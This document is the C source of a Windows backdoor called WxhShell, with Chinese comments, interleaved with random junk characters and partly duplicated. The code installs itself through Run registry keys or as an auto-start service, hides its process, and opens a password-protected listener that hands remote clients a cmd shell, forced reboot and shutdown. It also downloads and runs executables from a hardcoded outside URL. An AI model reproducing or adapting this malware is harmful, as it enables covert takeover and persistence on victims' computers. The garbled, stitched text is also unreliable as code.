qIZge static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RfD#/G3| /|UbYe, HANDLE hProcess; oPa oQbR(A PROCESS_BASIC_INFORMATION pbi; vf<Dqy <M. rKslgZhQ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @}!?}QU if(NULL == hInst ) return 0; {v=[~H>bt dnwzf=+>e g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I{U|'a g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ts@$* NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W=293mME ~'0n
]Fw if (!NtQueryInformationProcess) return 0; }b}jw.2Wu \_R<Q?D+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aBY&]6^- if(!hProcess) return 0; k{F6WQ7 0Qvr
g+ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DO*6gzW 4 Sk@ v CloseHandle(hProcess); c1+z(NQ3 iiJT%Zq`# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y $uq`FW if(hProcess==NULL) return 0; b`S9#` s91[DT4 HMODULE hMod; PZZPx<?N char procName[255]; Rc4=zimr+ unsigned long cbNeeded; pxedj =+T0[|gc(r if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,98 F o_Y?s+~i[/ CloseHandle(hProcess); VZ`YbY tS3&&t if(strstr(procName,"services")) return 1; // 以服务启动 AT3HHQD DaHbOs_< return 0; // 注册表启动 3PRU } q8/k$5E [kr-gV // 主模块 r^rk@W;[ int StartWxhshell(LPSTR lpCmdLine) 5?
Y(FhnIC { /@&o%I3h SOCKET wsl; :]Om4Q\-# BOOL val=TRUE; =B;qy7? int port=0; P~:^bU^F7 struct sockaddr_in door; T8&sPt,f u R5h0Fi if(wscfg.ws_autoins) Install(); `}sFT:1& rZ-< Ryg port=atoi(lpCmdLine); 1)ij*L8k tlvZy+Blv if(port<=0) port=wscfg.ws_port; E2cZk6~m{ ZK'WKC WSADATA data; 4s_5>r4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]K>bSK^TX z%+rI if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [U^Cz{G setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g;AW door.sin_family = AF_INET; d*k5h<jM door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rb:?%\= door.sin_port = htons(port); knV*,
oVbs^sbRH if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A(`Mwh+ closesocket(wsl); |+sAqx1IF return 1; p}gA8o } B|9XqQ EI xmC5uT6L3M if(listen(wsl,2) == INVALID_SOCKET) { N z=P1&G' closesocket(wsl); v<l]K$5J& return 1; AFYdBK] } ]S9Z5l0 Wxhshell(wsl);
:-hVbS0I WSACleanup(); S-Vxlku] =c&.I}^1L return 0; FdEUZ[IT`{ %Q]thv: } ,g"JgX 2dJE`XL // 以NT服务方式启动 Rx&.,gzj[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LXrk5>9 { HP<a'| r DWORD status = 0; KXcRm) DWORD specificError = 0xfffffff; f qWme:x mO TA serviceStatus.dwServiceType = SERVICE_WIN32; &P35\q serviceStatus.dwCurrentState = SERVICE_START_PENDING; yn(bW\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /6y{?0S serviceStatus.dwWin32ExitCode = 0; $1zWQJd[- serviceStatus.dwServiceSpecificExitCode = 0; !SGRK01 serviceStatus.dwCheckPoint = 0; x=x%F; serviceStatus.dwWaitHint = 0; +s`cXTlFrk Rd]<591 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K~3Y8ca if (hServiceStatusHandle==0) return; pg_H' 0R `}$bJCSF.n status = GetLastError(); Jx`7W1%T if (status!=NO_ERROR) +eLL)uk { }jWg&<5+z serviceStatus.dwCurrentState = SERVICE_STOPPED; M5_t#[ [ serviceStatus.dwCheckPoint = 0; i 2uSPV!Tf serviceStatus.dwWaitHint = 0; P;'ZdZ(SLu serviceStatus.dwWin32ExitCode = status; u:l<NWF^ serviceStatus.dwServiceSpecificExitCode = specificError; RwrRN+&s\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); z?|bs?HKS return; _;S~nn } SsfC
m C 4N7|LxNNl_ serviceStatus.dwCurrentState = SERVICE_RUNNING; swJQwY serviceStatus.dwCheckPoint = 0; H%Lln# serviceStatus.dwWaitHint = 0; }rs>B,=*k if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cdSgb3B0 } Up_"qD6 M&9urOa` // 处理NT服务事件,比如:启动、停止 .XkVdaX VOID WINAPI NTServiceHandler(DWORD fdwControl) "}-S%v`)z { ,zK E$ switch(fdwControl) ;/+U.I%z { n3-VqYUP case SERVICE_CONTROL_STOP: #!#s7^%K& serviceStatus.dwWin32ExitCode = 0; %S$$*|_G serviceStatus.dwCurrentState = SERVICE_STOPPED; Xi\c>eALO serviceStatus.dwCheckPoint = 0; n:1Ijh
1 serviceStatus.dwWaitHint = 0; D$NpyF.87 { `(I$_RSE") SetServiceStatus(hServiceStatusHandle, &serviceStatus); J^<uo( } &rX#A@= return; tL<.B case SERVICE_CONTROL_PAUSE: F=#V/ #ia serviceStatus.dwCurrentState = SERVICE_PAUSED; \W=
qqE] break; ^kz(/c/ ? case SERVICE_CONTROL_CONTINUE: yg~@}_C2_ serviceStatus.dwCurrentState = SERVICE_RUNNING; z%lJWvaA7 break; M#m;jJqON case SERVICE_CONTROL_INTERROGATE: k{UeY[,jb break; )Z['=+s% }; T"gk^. SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jo~fri([%Q } apfr>L3 H3ovF // 标准应用程序主函数 uaU2D-ft" int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l~DIV$>,Z { &%t&[Se_~ JAXD\StC // 获取操作系统版本 6f
?,v5 OsIsNt=GetOsVer(); V@O)7ND GetModuleFileName(NULL,ExeFile,MAX_PATH); 8VO];+N 6CW5ay_, // 从命令行安装 (hQi { if(strpbrk(lpCmdLine,"iI")) Install(); S'hUh'PZ j F/S2Ty2 // 下载执行文件 mo(>SnS< if(wscfg.ws_downexe) { ?A*!rW:l; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jiLJiYMg WinExec(wscfg.ws_filenam,SW_HIDE); dh&>E } 4i^WE;|s w1aoEo "S if(!OsIsNt) { Qf}.= ( // 如果时win9x,隐藏进程并且设置为注册表启动 WW&Wh<4 HideProc(); pIYXYQ=Z StartWxhshell(lpCmdLine); :XG~AR/ } }<l:~-y| else Q[K)Yd if(StartFromService()) c-n/E. E // 以服务方式启动 jvL!pEC! StartServiceCtrlDispatcher(DispatchTable); RtpV08s\ else '\xE56v)F // 普通方式启动 \hBzP^*"n StartWxhshell(lpCmdLine); .Y^cs+-o dt+r P% return 0; gt02Csdt } TO"Md["GI NVsaV;u
6ST(=X_C =y)K er =========================================== 6pbCQ
q ugE!EEy[^ 7}6CUo *pv<ZF0> >0<n%V#s:r #RaqNu " q#8yU\J|, HK~SD:d #include <stdio.h> 6l;2kztGp #include <string.h> NlKVl~_ C #include <windows.h> ljOY;WV3 #include <winsock2.h> *vuI'EbM #include <winsvc.h> m|{^T/kIbQ #include <urlmon.h> ]S[?tn -`* 'p i #pragma comment (lib, "Ws2_32.lib") ThI}~$Y #pragma comment (lib, "urlmon.lib") L/C~l3 seBmhe5qR #define MAX_USER 100 // 最大客户端连接数 %]DA4W #define BUF_SOCK 200 // sock buffer oeZuvPCl #define KEY_BUFF 255 // 输入 buffer dgoAaS2M Z_m<x! #define REBOOT 0 // 重启 PgT8
1u #define SHUTDOWN 1 // 关机 ?{^_z_, L6{gwoZf3 #define DEF_PORT 5000 // 监听端口 E1OrL.A6 ^4^N} 7>5 #define REG_LEN 16 // 注册表键长度 /3~L#jS #define SVC_LEN 80 // NT服务名长度 K3[+L`pz $m2#oI'D // 从dll定义API `Y4K w typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2(@2z[eKr typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xi[]8o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $KGMAg/H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &TQ~!ZMOR" V@k+RniEO // wxhshell配置信息 u*)/e9C struct WSCFG { W
wPzm?30 int ws_port; // 监听端口 2WFZ6 char ws_passstr[REG_LEN]; // 口令 ?1JY6v]h4 int ws_autoins; // 安装标记, 1=yes 0=no L4m Vk char ws_regname[REG_LEN]; // 注册表键名 X%IqZ{{ char ws_svcname[REG_LEN]; // 服务名 `M6"=)twu char ws_svcdisp[SVC_LEN]; // 服务显示名 i`r`Fj}-S- char ws_svcdesc[SVC_LEN]; // 服务描述信息 uo]xC+^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9Sxr9FLW~ int ws_downexe; // 下载执行标记, 1=yes 0=no iv *$!\Cd char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <7\j\` char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B=a+cT 'lA}E }; m.m6. F8?2+w@P // default Wxhshell configuration [:cD struct WSCFG wscfg={DEF_PORT, [8sYE h "xuhuanlingzhe", JVX)>2&$ 1, h2Nt@ "Wxhshell", jL\j$'KC "Wxhshell", 9,INyEyAL "WxhShell Service", B\RAX# "Wrsky Windows CmdShell Service", .))jR:{3 "Please Input Your Password: ", =eU=\td^ 1, H}F
UgA; "http://www.wrsky.com/wxhshell.exe", ,Zn6T"[$ "Wxhshell.exe"
|gO7`F2 }; T(?w}i 0NU%z.(%s // 消息定义模块 HfVHjF) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @Z
==B%` char *msg_ws_prompt="\n\r? for help\n\r#>"; . fja;aG char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j9>[^t3U char *msg_ws_ext="\n\rExit."; ;^xM"
{G8 char *msg_ws_end="\n\rQuit."; 6~%><C char *msg_ws_boot="\n\rReboot..."; Ra|P5 char *msg_ws_poff="\n\rShutdown..."; DlUKhbo$g char *msg_ws_down="\n\rSave to "; 8)1q,[:M ,yltt+e char *msg_ws_err="\n\rErr!"; W:RjWn @< char *msg_ws_ok="\n\rOK!"; 2~$S @c ),p0V
char ExeFile[MAX_PATH]; M/p9 I
gp int nUser = 0; ?0/$RpFEM# HANDLE handles[MAX_USER]; x!_5/ int OsIsNt; $UH:r y<FC7 SERVICE_STATUS serviceStatus; 2@ZVEN SERVICE_STATUS_HANDLE hServiceStatusHandle; Nz2V aZ 47Z3nl? // 函数声明 (2#Xa,pb int Install(void); #s~;ss , int Uninstall(void); $\NqD:fgb int DownloadFile(char *sURL, SOCKET wsh); MWv@]P_0p! int Boot(int flag); a
-Pz<* void HideProc(void); -13}]Gls7Q int GetOsVer(void); 9-T<gYl int Wxhshell(SOCKET wsl); >XgJo7u void TalkWithClient(void *cs); e
n~m)r3& int CmdShell(SOCKET sock); Sxq@W8W int StartFromService(void); ck{S int StartWxhshell(LPSTR lpCmdLine); }?,?2U,8: Q^f{H. VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4}m9, VOID WINAPI NTServiceHandler( DWORD fdwControl ); $~b6H]"9 i`gM> q& // 数据结构和表定义 <4Gy~? SERVICE_TABLE_ENTRY DispatchTable[] = Nf )YG! { [ *Dj:A)V^ {wscfg.ws_svcname, NTServiceMain}, C~pas~ {NULL, NULL} %cSx`^`6j }; ~Q_7HJ=^$ $.Tn\4z& // 自我安装 5K1cPU~o_b int Install(void) O"'xAPQW { v'S]g^ char svExeFile[MAX_PATH]; &K0b3AWc HKEY key; `CVkjLiy strcpy(svExeFile,ExeFile); &'>m;W hEB5=~A_ // 如果是win9x系统,修改注册表设为自启动 jV}8VK*`+ if(!OsIsNt) { Np+PUu> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $$m0mK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P5?VrZy RegCloseKey(key); _ARG
" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BFW b0;+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%!nI]| RegCloseKey(key); !vf:mMo return 0; 8+[Vo_] } %N-aLw\ } :*KTpTa } )K{ s^]Jp else { )9`HO?
Hnt*,C.0 // 如果是NT以上系统,安装为系统服务 jXeE]A" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T>asH if (schSCManager!=0) .1[.f}g$J { '{2]: SC_HANDLE schService = CreateService S#M8}+ZD, ( ,)[9RgsE schSCManager, b$DiDm wscfg.ws_svcname, U/enq,-F^ wscfg.ws_svcdisp, 0]SWyC
: SERVICE_ALL_ACCESS, ikc1,o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~QbHp|g SERVICE_AUTO_START, kaCN^yQ SERVICE_ERROR_NORMAL, Ge`7`D>L svExeFile, jlP*RX NULL, Sh!c]r>\Q NULL, `*vO8v NULL, l48$8Mgrr NULL, 'UsR/h5T NULL `TJhH<z"% ); ^nPy(Q0 if (schService!=0) O(W"QY { Nb$0pc1J< CloseServiceHandle(schService); xJ$uoy3+ CloseServiceHandle(schSCManager); zTcz+3x strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); veq3t$sj strcat(svExeFile,wscfg.ws_svcname); A8&@Vxdz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;=,-C;` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `6VnL) RegCloseKey(key); O z0-cM8t return 0; H*N <7# } P6GTgQ<'BA } cIw X sx
CloseServiceHandle(schSCManager); i) e6U(H } &'/"=lK } zU!{_Ao9 /= ;,lC return 1; (
3B1X } }oZ8esZU2 v,}C~L3 // 自我卸载 XDCm int Uninstall(void) l{7}3Am6 { W~mo*EJ'^ HKEY key; z|3v~, S} UYkns* if(!OsIsNt) { iO*5ClB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _5 SvZ;4 RegDeleteValue(key,wscfg.ws_regname); 7#C$}1XJ1 RegCloseKey(key); IQ<G. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b~&cYk' RegDeleteValue(key,wscfg.ws_regname); YWn""8p;P RegCloseKey(key); =Lkn
return 0; ~:JAWs$\V } :? B4q#]N } 4S'e>: } 9mHCms else { 7kV$O(4 A]m*~Vj] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YMu#<ZG if (schSCManager!=0) c<_1o!68 { o+hp#e SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?M'CTz}<\ if (schService!=0) 4Vi*Qa_,y { \{<ml n if(DeleteService(schService)!=0) { :i>LESJq CloseServiceHandle(schService); uH$hMg CloseServiceHandle(schSCManager); !PoyM[Z"f return 0; @VP/kut } di_UJ~ CloseServiceHandle(schService); fZf>>mu@r' } H%m^8yW1 CloseServiceHandle(schSCManager); X$==J St } {P?Ge } VJ-t#q" Po=:-Of: return 1; ,9G'1%z, } xytWE:= H9jlp.F // 从指定url下载文件 {G=> WAXo int DownloadFile(char *sURL, SOCKET wsh) qWK} { }2LG9B% HRESULT hr; fV4eGIR& char seps[]= "/"; P\ P=1NM char *token; =?Ry,^=b char *file; =55)|$hgD char myURL[MAX_PATH]; ])y)]H#{ char myFILE[MAX_PATH]; ^) s6`: vrmMEWPV strcpy(myURL,sURL); JUw|nUnl? token=strtok(myURL,seps); 0*]0#2Z while(token!=NULL) prO&"t
> { )Mq4p'*A[ file=token;
LT{g^g token=strtok(NULL,seps); X_-/j. } IrRy1][Qr "T /$K GetCurrentDirectory(MAX_PATH,myFILE); O(evlci strcat(myFILE, "\\"); N@0/=B[n strcat(myFILE, file); c%G~HOE=B send(wsh,myFILE,strlen(myFILE),0);
rY Puo send(wsh,"...",3,0); n. N0Nhd hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kc]
GE#~g if(hr==S_OK) r9}(FL/)b return 0; (~\HizSl else
fATnza return 1; 9ox5,7ZQ S9:ij1 } y46sL~HRv "?aE3$/ // 系统电源模块 7h/Mkim$5 int Boot(int flag) d>J
+7ex+ { KDg%sgRu} HANDLE hToken; /FXb,)1t TOKEN_PRIVILEGES tkp; ;(E]mbV'= `Q+O#l? if(OsIsNt) { 0RdW.rZJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .gNJY7`b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q.4+"JoG tkp.PrivilegeCount = 1; 4UL"f<7 T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G|&$/]~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); meB9:w[m if(flag==REBOOT) { ,|+{C~Ojx if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l}S96B return 0; Rz>@G>b: } SPTx-b[ else { 1N]-WCxQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ktuv
a3=>N return 0; wMm+E "}W } R,!aX"]| } |.~2C14[ else { t P'._0n0 if(flag==REBOOT) { (F R if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =;8q` return 0; *W}nw$tnBX } ywjD.od"v else { slA~k;K:_ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !9zs>T&9a\ return 0; 'Um\m } Kv5 !cll5 } ^7kYG7/ OJ\j6owA return 1; a$11u.\q+ } p|>/Hz1v }z-)!8vF // win9x进程隐藏模块 kzKQ5i $G void HideProc(void) wuqB['3 { dm83YCdL @`sZV8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >Co@K^' if ( hKernel != NULL ) 7bW''J*6 { >y@3`u] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _rUsb4r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "y .(E7 6 FreeLibrary(hKernel); q>a/',m } hG/Z65`& |msQ return; h_t<Jl } P-N+ b\"2O4K,) // 获取操作系统版本 XR)I,@i`' int GetOsVer(void) 4y9n,~Qgw { D7N` %A8 OSVERSIONINFO winfo; `ucr;P winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;fY)7
' GetVersionEx(&winfo); 74Il]i1= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J@9E20$ return 1; <Y#EiC. else /I#SP/M&l return 0; %$(*.o!+8 } ~gbq^ @ GzN0yXhR // 客户端句柄模块 /I'
np int Wxhshell(SOCKET wsl) *j|BSd
P { 8:UV; 5@ SOCKET wsh; 1j^FNg~ struct sockaddr_in client; A|GheH!t DWORD myID; O7Awti-X
}qdGS<{ while(nUser<MAX_USER) !eB&3J { Zh.9j7
>p int nSize=sizeof(client); x42m+5/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Y'i_EX| if(wsh==INVALID_SOCKET) return 1; J3=^+/g \Mod4tQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8:0.Pi(ln@ if(handles[nUser]==0) yu62$d closesocket(wsh); 9k!#5_ M else (A8X|Y nUser++; `_&7-;)i*\ } O!\\m0\e WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {-Y% wM8<i xyTjK.N return 0; GCPSe A~cx } HveOG$pT DJhCe==$v // 关闭 socket Mi"dFx^Md void CloseIt(SOCKET wsh) xk5Z&z { /7<l`RSr closesocket(wsh); KrT+Svm nUser--; H@,(
ExitThread(0); U.QjB0; } pVm'XP GKKf#r74 // 客户端请求句柄 ^cF_z}Zi+ void TalkWithClient(void *cs) _[.3I1kG { B?J#NFUb U_c.Z{lC4 SOCKET wsh=(SOCKET)cs; ]`Y;4XR char pwd[SVC_LEN]; :X;'37o#q char cmd[KEY_BUFF]; hpJi,4r.d char chr[1]; YTpO4bX int i,j; 8wqHr@}p 5rpTR while (nUser < MAX_USER) { cUz7F MRdZ ' if(wscfg.ws_passstr) { 'Nv*ePz if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J@c)SK%2h //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jE</a% //ZeroMemory(pwd,KEY_BUFF); `PR)7}/< i=0; aJ1<X8 while(i<SVC_LEN) { ^SKuX?f\ HW(cA}$ // 设置超时 Q<V?rPAcx fd_set FdRead; *w538Vb struct timeval TimeOut; V'4sOn FD_ZERO(&FdRead); Q}M%
\v FD_SET(wsh,&FdRead); r0)X]l7 TimeOut.tv_sec=8; ga~C?H,K TimeOut.tv_usec=0; P'6eK? int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i`R}IP?71 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BV X6 _f u?, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;V~[kF=t0 pwd=chr[0]; @exeHcW61 if(chr[0]==0xd || chr[0]==0xa) { ch}t++`l] pwd=0; y pv~F break; #,1Kum
bG3 } )8:Ltn% i++; p] V } {f\/2k3 =r=YV-D. // 如果是非法用户,关闭 socket e:E:"elr] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "RH pj3 si } )V<ML7_? B'OUT2cgB send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w NlC2is send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |gW>D=rkj .|Pq!uLvc while(1) { r(W=1e' F/FUKXxx ZeroMemory(cmd,KEY_BUFF); %- W3F5NK g?.ls{H // 自动支持客户端 telnet标准 /*)zQ?N j=0; ?CgqHmf\\( while(j<KEY_BUFF) { WleE$ , if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d7.}=E.L cmd[j]=chr[0]; A{Jp>15AVg if(chr[0]==0xa || chr[0]==0xd) { 2 5DXJb^: cmd[j]=0; |kPjjVGF{ break; ,iKL
68 } !e5!8z j++; xx`xDD } .tv'` {k4)f ad\ // 下载文件 ?6;9r[ p if(strstr(cmd,"http://")) { nKI]f`P7 send(wsh,msg_ws_down,strlen(msg_ws_down),0); P;7JK=~k if(DownloadFile(cmd,wsh)) cn62:p]5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .gL%0 else 9K]Li\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AI{Tw>hZ } wldv^n hM else { 'MLp*3djF, ;L1Q"Hxh switch(cmd[0]) { I$.HG] #NU@7Q[4 // 帮助 {kCCpU case '?': { Ass : send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :w|ef; break; Q&j-a;L } k!?sHUAj // 安装 _{Q)5ooP case 'i': { 0 &M~lJ if(Install()) [{iPosQWj send(wsh,msg_ws_err,strlen(msg_ws_err),0); =E6ND8l@2 else ;a"g<v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 52X[{ break; WP*xu-(: } 'q3<R%^Q // 卸载 |2<y case 'r': { /g/]Q^ if(Uninstall()) ( *~ '#k send(wsh,msg_ws_err,strlen(msg_ws_err),0); sfD@lW3 else bwrM%BL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %y96]e1 break; (G1KMy } C{{RU7iqc& // 显示 wxhshell 所在路径 1zNh&
" case 'p': { o >wty3l: char svExeFile[MAX_PATH]; d-X6yRjnj strcpy(svExeFile,"\n\r"); p{@j M strcat(svExeFile,ExeFile); nXU`^<nA send(wsh,svExeFile,strlen(svExeFile),0); Z
"mqH break; ()'yY^ } NL^;C3u // 重启 qjr:(x / case 'b': { 9%#u,I send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rb/|ae if(Boot(REBOOT)) ^X]rFY1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); B4
k5IS else { *A&A V||q closesocket(wsh); MnLo{G] ExitThread(0); *x!j:/S`n } B~ ?R 6 break; h5)4Z^n } a!@(bb
z> // 关机 |
)No4fm case 'd': { C.|.0^5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q1^bH6*fl if(Boot(SHUTDOWN)) ,kQCCn] send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2y"L&3W else { ]
/"!J6(e closesocket(wsh); *P01 yW0 ExitThread(0); Yt!o
Hn } :Bh7mF-1 break; QBYY1)6S, } 1La?x'{2MP // 获取shell xcQD]" case 's': { *Uw" `l CmdShell(wsh); gB<1;_KW closesocket(wsh); m2a[E0 ExitThread(0); ZGw6Bd_I break; d53Eu`QW? } +@^FUt=tq // 退出 :
uxJGx case 'x': { mI,a2wqi send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rff_=(?i CloseIt(wsh); :Z[|B(U break; h
wi!C} } Gh5 3Pne // 离开 1Y:JGon case 'q': { ?vBMx _0 send(wsh,msg_ws_end,strlen(msg_ws_end),0); r9Vt}]$a G closesocket(wsh); [-0=ZKH? WSACleanup(); RRb>]oD exit(1); "8$Muwm break; jX7;hQ+P } swz)gh-* } 5E#8F } fKbg ? j6d{r\!$4 // 提示信息 *snY|hF if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %$<v:eMAs } XI'.L ~ } tXCgRU HGao} @' return; /[qLf:rGI } #e[S+a (j(hr'f // shell模块句柄 -]Ny-[P int CmdShell(SOCKET sock) yJ:rry { :-Wh'H( STARTUPINFO si; HPY;UN ZeroMemory(&si,sizeof(si)); [Mk:Zz% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vkLKzsN' ] si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ok1w4#%, PROCESS_INFORMATION ProcessInfo; _G$21=
char cmdline[]="cmd"; J1R5_b CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2"QcjFW% return 0; *`40B6dEr } nGM;|6x"8| `i
vE:3k // 自身启动模式 1j]vJ4R_\ int StartFromService(void) rMoz+{1A { 58t_j54 typedef struct ,`8:@<e { E#E&z (G2 DWORD ExitStatus; ^U6VJ(58P DWORD PebBaseAddress; gg.lajX DWORD AffinityMask; U]&/F{3
im DWORD BasePriority; K1=j7 ULONG UniqueProcessId; kpRk.Q* ULONG InheritedFromUniqueProcessId; )43z(:< } PROCESS_BASIC_INFORMATION; b
w! J^=Xy(3e PROCNTQSIP NtQueryInformationProcess; ;v!Ef"E|cV gDjAnz# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Ji;zR4, static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,*sKr)9) b"2_EnE}1 HANDLE hProcess; Jim5Ul PROCESS_BASIC_INFORMATION pbi; \('WS[$2 ?^ R"a## HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CHVAs9mrNB if(NULL == hInst ) return 0; I%jlM0ZUI" 3U!
l8N2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y\n#`*5k g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "[sr0'g: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vs{VRc dtBr#Te if (!NtQueryInformationProcess) return 0; 5S ) N&% zCS& |